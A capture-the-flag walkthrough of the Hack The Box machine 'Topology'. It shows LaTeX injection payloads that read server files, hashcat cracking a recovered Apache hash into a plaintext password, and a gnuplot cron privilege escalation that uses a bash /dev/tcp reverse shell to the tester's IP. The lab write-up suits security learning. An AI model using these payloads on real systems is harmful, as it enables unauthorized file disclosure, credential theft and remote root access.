HTB Topology Walkthrough

This box is incredibly intriguing, especially the first part. However, the search for the appropriate exploit proved to be quite challenging. It required a more sophisticated user flag than the root flag.

HTB Topology Walkthrough
Microsoft Copilot generated this image of romans playing polo.

A really very interesting BOX, at least as regards the first part, where the search for the right exploit however put me to the test. A more complex user flag than the root flag. But let's go step by step.

Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-07 10:20 CEST
Nmap scan report for 10.10.11.217
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.22 seconds

Ok, once again a classic.

Wow, a lot of OSINT information.

An email: [email protected]
Possible accounts:

  • Professor Lilian Klein - Head of Topology Group
  • Vajramani Daisley - Post-doctoral researcher, software developer
  • Derek Abrahams - Master's student, sysadmin

The only interesting thing seems to be the browser software ("LaTeX Equation Generator - create .PNGs of LaTeX equations in your browser") which also reveals the domains to which the portal responds and an additional subdomain.

http://latex.topology.htb/equation.php

So, put it on the /etc/hosts file and navigate again the portal.

Perfect, now we understand how it works. Navigation works by passing parameters in querystrings (http://latex.topology.htb/equation.php?eqn=\frac{x%2B5}{y-3}&submit=) and the output is the image in png format. Let's download the image and try to understand what we are dealing with, if nothing comes up, we will be able to analyze the querystring parameter for possible injections.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.217 - Topology (lin)/attack/dwnl]
└─$ identify -verbose equation.png     
Image:
  Filename: equation.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 63x58+0+0
  Resolution: 300x300
  Print size: 0.21x0.193333
  Units: Undefined
  Colorspace: Gray
  Type: Bilevel
  Base type: Undefined
  Endianness: Undefined
  Depth: 8/4-bit
  Channel depth:
    gray: 1-bit
    alpha: 4-bit
  Channel statistics:
    Pixels: 3654
    Gray:
      min: 0  (0)
      max: 255 (1)
      mean: 208.871 (0.819102)
      standard deviation: 98.1714 (0.384986)
      kurtosis: 0.746785
      skewness: -1.65728
      entropy: 0.682037
    Alpha:
      min: 0  (0)
      max: 255 (1)
      mean: 31.4505 (0.123335)
      standard deviation: 75.9544 (0.29786)
      kurtosis: 3.5708
      skewness: 2.27516
      entropy: 0.307107
  Alpha: graya(255,0)   #FFFFFF00
  Colors: 16
  Histogram:
    279: (0,0,0,255) #000000FF graya(0,1)
    80: (0,0,0,68) #00000044 graya(0,0.266667)
    57: (0,0,0,136) #00000088 graya(0,0.533333)
    36: (0,0,0,187) #000000BB graya(0,0.733333)
    36: (0,0,0,17) #00000011 graya(0,0.0666667)
    22: (0,0,0,85) #00000055 graya(0,0.333333)
    22: (0,0,0,51) #00000033 graya(0,0.2)
    21: (0,0,0,204) #000000CC graya(0,0.8)
    21: (0,0,0,170) #000000AA graya(0,0.666667)
    21: (0,0,0,153) #00000099 graya(0,0.6)
    15: (0,0,0,102) #00000066 graya(0,0.4)
    14: (0,0,0,34) #00000022 graya(0,0.133333)
    13: (0,0,0,238) #000000EE graya(0,0.933333)
    12: (0,0,0,221) #000000DD graya(0,0.866667)
    12: (0,0,0,119) #00000077 graya(0,0.466667)
    2993: (255,255,255,0) #FFFFFF00 graya(255,0)
  Rendering intent: Undefined
  Gamma: 0.454545
  Background color: graya(255,1)
  Border color: graya(223,1)
  Matte color: graya(189,1)
  Transparent color: graya(0,0)
  Interlace: None
  Intensity: Undefined
  Compose: Over
  Page geometry: 63x58+0+0
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Orientation: Undefined
  Properties:
    date:create: 2023-08-07T08:49:55+00:00
    date:modify: 2023-08-07T08:49:55+00:00
    pdf:Version: PDF-1.5 
    png:bKGD: chunk was found (see Background color, above)
    png:IHDR.bit-depth-orig: 8
    png:IHDR.bit_depth: 8
    png:IHDR.color-type-orig: 4
    png:IHDR.color_type: 4 (GrayAlpha)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 63, 58
    png:pHYs: x_res=300, y_res=300, units=0
    png:text: 3 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-08-07T00:46:57Z
    signature: 20e9973c5d5828a402803be16adb30a890a9b6fee0917ee2f0920a328aedfd40
  Artifacts:
    filename: equation.png
    verbose: true
  Tainted: False
  Filesize: 1073B
  Number pixels: 3654
  Pixels per second: 3.61235MB
  User time: 0.000u
  Elapsed time: 0:01.001
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

ImageMagick?!?!?! Still? This is the second BOX in a short time using ImageMagick. Okay, let's move on. I start looking for some opensource that generates images from a LaTeX equation, but I can't find what I'm looking for specifically, so I'm trying to figure out if LaTeX expressions can carry some sort of injection (latex equation exploit).

Wow, let's hope there's something good.

PayloadsAllTheThings/LaTeX Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

Ok, I'll try it now and...

Mmmmm... looks like something was there, but it's been checked. Go on. I tried for a while, but couldn't figure it out, then, in order not to get stuck, I went back to the portal and navigated to the root, discovering that the directory listing was active.

And in the log file, I found another interesting one in formation.

equationtest.log

This is pdfTeX, Version 3.14159265-2.6-1.40.20 (TeX Live 2019/Debian) (preloaded format=pdflatex 2022.2.15)  12 MAR 2022 08:48
entering extended mode
 restricted \write18 enabled.
 %&-line parsing enabled.
**equationtest.tex
[...]

Again, looking for exploits…

Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
Tea LaTex 1.0 - Remote Code Execution (Unauthenticated).. webapps exploit for Multiple platform

But it always gives me the same message. Finally landed on hacktricks...

Formula/CSV/Doc/LaTeX Injection - HackTricks

...and I'm able to read something.

\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file

But that's not enough, I can only read one line. At this point, it was really hard to figure out what was wrong and I wasted a lot of time figuring it out. The resolving clue was the double backslash (\ or \newline), which was supposed to wrap the tense.

This is another \\line.

But the output is the equation was:

Searching online about the specific problem, which is that the command was not generating the correct output, I stumbled upon this thread on stackoverflow.

It's not entirely clear to me, I rely on the forum, where they suggest going into detail about LaTeX symbols and, one suggestion in particular, leads me to an interesting document: "[...] search about math code in latex".

Using LaTeX for Math

In the document, the dollar character is mentioned again, used to delimit a block of "mathematical code". I can't understand the relevance of the commands I'm running, but some examples and the table at the bottom of the document inspire me with some other ideas.

Also in this case, after a few unsuccessful attempts, I can find something extra that makes me advance a little more.

$\lstinputlisting{/etc/passwd}$

We have therefore found the right user, but we still don't know how to use it. Let's see if the php file helps me. I can't access it and I get an error about the image, probably a relative path is not good. Let's try to understand where exactly this file is located. I found it on the config file /etc/apache2/sites-available/000-default.conf.

And not only that... another two portal was revealed.

Ok, once the correct path has been set, the php code is revealed to us and the black list of prohibited LaTeX words is clearly visible. However, this does not help us and credentials are not mentioned in the code. Okay, now what? let's see what's in the two newly discovered subdomains; let's add them to the /etc/hosts file and navigate. For the dev portal, we are immediately presented with a nice access mask with domain credentials (here is our friend vdaisley, but we need the password), while the stats portal seems very sparse.

I try to recover the .htaccess file in the dev portal folder, controlled by domain access.

Ok, try to see.

Great, I can't believe it, finally something. So, let's save the password in a text file and start our good friend hashcat.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.217 - Topology (lin)/attack/hc]
└─$ hashcat pwd_only.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-Intel(R) Core(TM) i5-7300HQ CPU @ 2.50GHz, 6886/13836 MB (2048 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20          
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
Time.Started.....: Wed Aug  9 19:51:27 2023 (54 secs)
Time.Estimated...: Wed Aug  9 19:52:21 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    18260 H/s (6.92ms) @ Accel:128 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 997376/14344385 (6.95%)
Rejected.........: 0/997376 (0.00%)
Restore.Point....: 996864/14344385 (6.95%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidate.Engine.: Device Generator
Candidates.#1....: cam1023 -> cajun3
Hardware.Mon.#1..: Temp: 70c Util: 95%

Started: Wed Aug  9 19:50:47 2023
Stopped: Wed Aug  9 19:52:23 2023

Great, it should be a domain user, so, let's ssh straight and see if we can capture the first flag.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.217 - Topology (lin)/attack/hc]
└─$ ssh [email protected]
The authenticity of host 'topology.htb (10.10.11.217)' can't be established.
ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Aug  9 11:52:38 2023 from 10.10.16.15
-bash-5.0$ pwd
/home/vdaisley
-bash-5.0$ ls -la
total 3068
drwxr-xr-x 5 vdaisley vdaisley    4096 Aug  9 12:19 .
drwxr-xr-x 3 root     root        4096 May 19 13:04 ..
lrwxrwxrwx 1 root     root           9 Mar 13  2022 .bash_history -> /dev/null
-rw-r--r-- 1 vdaisley vdaisley     220 Jan 17  2023 .bash_logout
-rw-r--r-- 1 vdaisley vdaisley    3771 Jan 17  2023 .bashrc
drwx------ 2 vdaisley vdaisley    4096 May 19 13:04 .cache
drwx------ 3 vdaisley vdaisley    4096 May 19 13:04 .config
drwxrwxr-x 3 vdaisley vdaisley    4096 Aug  9 12:19 .local
-rw-r--r-- 1 vdaisley vdaisley     807 Jan 17  2023 .profile
-rwxrwxr-x 1 vdaisley vdaisley 3104768 Aug  9 11:55 pspy64
-rw-r----- 1 root     vdaisley      33 Aug  9 07:53 user.txt
-bash-5.0$ cat user.txt
9******************************f

Mission one... accomplished! Let's go ahead!

-bash-5.0$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.

Not so lucky this time! Let's try with linpeas, but, for the first time, probably I can't find anything interesting (I avoid trying the CVEs suggested, I'll try only if I can't find anything). I see that something leaves a pspy64, why not take advantage of kindness?

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/08/09 14:17:35 CMD: UID=1007  PID=28125  | ./pspy64 
2023/08/09 14:17:35 CMD: UID=0     PID=28124  | 
2023/08/09 14:17:35 CMD: UID=0     PID=27209  | 
[...]

And after a while of waiting...

[...]
2023/08/09 14:18:01 CMD: UID=0     PID=28134  | /usr/sbin/CRON -f 
2023/08/09 14:18:01 CMD: UID=0     PID=28133  | /usr/sbin/CRON -f 
2023/08/09 14:18:01 CMD: UID=0     PID=28138  | /usr/sbin/CRON -f 
2023/08/09 14:18:01 CMD: UID=0     PID=28137  | gnuplot /opt/gnuplot/loadplot.plt 
2023/08/09 14:18:01 CMD: UID=0     PID=28136  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/08/09 14:18:01 CMD: UID=0     PID=28135  | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \; 
2023/08/09 14:18:01 CMD: UID=0     PID=28143  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:18:01 CMD: UID=0     PID=28142  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:18:01 CMD: UID=0     PID=28141  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:18:01 CMD: UID=0     PID=28140  | netstat -i 
2023/08/09 14:18:01 CMD: UID=0     PID=28139  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:18:01 CMD: UID=0     PID=28148  | sed s/,//g 
2023/08/09 14:18:01 CMD: UID=0     PID=28147  | cut -d  -f 3 
2023/08/09 14:18:01 CMD: UID=0     PID=28146  | grep -o load average:.*$ 
2023/08/09 14:18:01 CMD: UID=0     PID=28145  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:18:01 CMD: UID=0     PID=28151  | 
2023/08/09 14:19:01 CMD: UID=0     PID=28157  | /bin/sh /opt/gnuplot/getdata.sh 
2023/08/09 14:19:01 CMD: UID=0     PID=28156  | /usr/sbin/CRON -f 
2023/08/09 14:19:01 CMD: UID=0     PID=28155  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/08/09 14:19:01 CMD: UID=0     PID=28154  | /usr/sbin/CRON -f 
2023/08/09 14:19:01 CMD: UID=0     PID=28153  | /usr/sbin/CRON -f 
2023/08/09 14:19:01 CMD: UID=0     PID=28167  | 
2023/08/09 14:19:01 CMD: UID=0     PID=28166  | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/08/09 14:19:01 CMD: UID=0     PID=28165  | sed s/,//g 
2023/08/09 14:19:01 CMD: UID=0     PID=28164  | cut -d  -f 3 
2023/08/09 14:19:01 CMD: UID=0     PID=28163  | grep -o load average:.*$ 
2023/08/09 14:19:01 CMD: UID=0     PID=28162  | 
2023/08/09 14:19:01 CMD: UID=0     PID=28170  | gnuplot /opt/gnuplot/networkplot.plt 

Ok, gnuplot appears to be the tool used to generate the graphs displayed on the stats site. Every attempt to access the files in the opt folder, however, gives me "permission denied".

-bash-5.0$ gnuplot --version
gnuplot 5.2 patchlevel 8

After identifying the version of the tool, I immediately look for an exploit and happen to find something interesting.

Gnuplot Privilege Escalation | Exploit Notes
gnuplot is a command-line and GUI program that can generate two- and three-dimentional plots of functions, data, and data fits.

Well, hoping to at least have the right to write inside the /opt/gnuplot folder, I start netcat in listener mode, create the file with the payload and wait.

-bash-5.0$ echo "system \"bash -c 'bash -i >& /dev/tcp/10.10.14.72/4444 0>&1'\"" > /opt/gnuplot/exploit.plt

And with a little patience...

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.217 - Topology (lin)/attack/dwnl]
└─$ nc -lvp 4444                                                                   
listening on [any] 4444 ...
connect to [10.10.14.72] from latex.topology.htb [10.10.11.217] 41658
bash: cannot set terminal process group (29527): Inappropriate ioctl for device
bash: no job control in this shell
root@topology:~# whoami
whoami
root
root@topology:~# cat /root/root.txt
cat /root/root.txt
4******************************d

...we found the flag... and mission two... accomplished too!

Well, that's all folks... see you at the next BOX. Have a nice hacking activity... in legal!